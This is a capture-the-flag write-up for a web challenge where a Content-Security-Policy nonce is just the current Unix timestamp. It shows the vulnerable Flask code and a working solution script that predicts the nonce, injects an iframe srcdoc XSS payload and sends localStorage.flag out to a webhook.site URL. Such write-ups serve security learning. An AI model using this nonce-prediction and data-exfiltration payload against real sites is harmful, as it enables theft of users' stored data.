nonce

Posted on Apr 11, 2024

This challenge was available at http://6b.vc:9005. Its source was available: nonce.tar.gz

It is very similar to babyXSS. The XSS vulnerability is the same, but:

@app.route('/')
def index():
    nonce = int(time.time())
    response = Response(render_template('index.html', nonce=nonce))
    response.headers['Content-Security-Policy'] = f"script-src 'nonce-{nonce}';"
    return response

This challenge has a Content-Security-Policy. It requires scripts executed by the browser to contain the random nonce. The nonce is supposed to be unpredictable and unique to each request. However, this nonce is an unix timestamp. We can easily predict that.

We cannot use the img tag for this challenge, as it does not support nonce. We can use an iframe with the srcdoc attribute.

Solution

Since timing is everything, I’ve put the bot triggering code in the same place as the bot triggering code

// +2 because chrome needs to start up
const nonce = Math.floor(Date.now()/1000)+2
const doc = `<iframe srcdoc="<script nonce=${nonce}>location.href=\`https://webhook.site/40a6771d-b79d-4ea5-bbb3-df68cdcf56b7?flag=\${encodeURIComponent(btoa(localStorage.flag))}\`</script>" nonce="${nonce}"></iframe>`
fetch(
    "/report?url="+
    encodeURIComponent(
        `http://localhost:9005/?search=${encodeURIComponent(doc)}`
    )
)

We receive the flag on the webhook:

flag{the description was the hash of the flag so I hope you didnt spend too much time trying to decrypt it}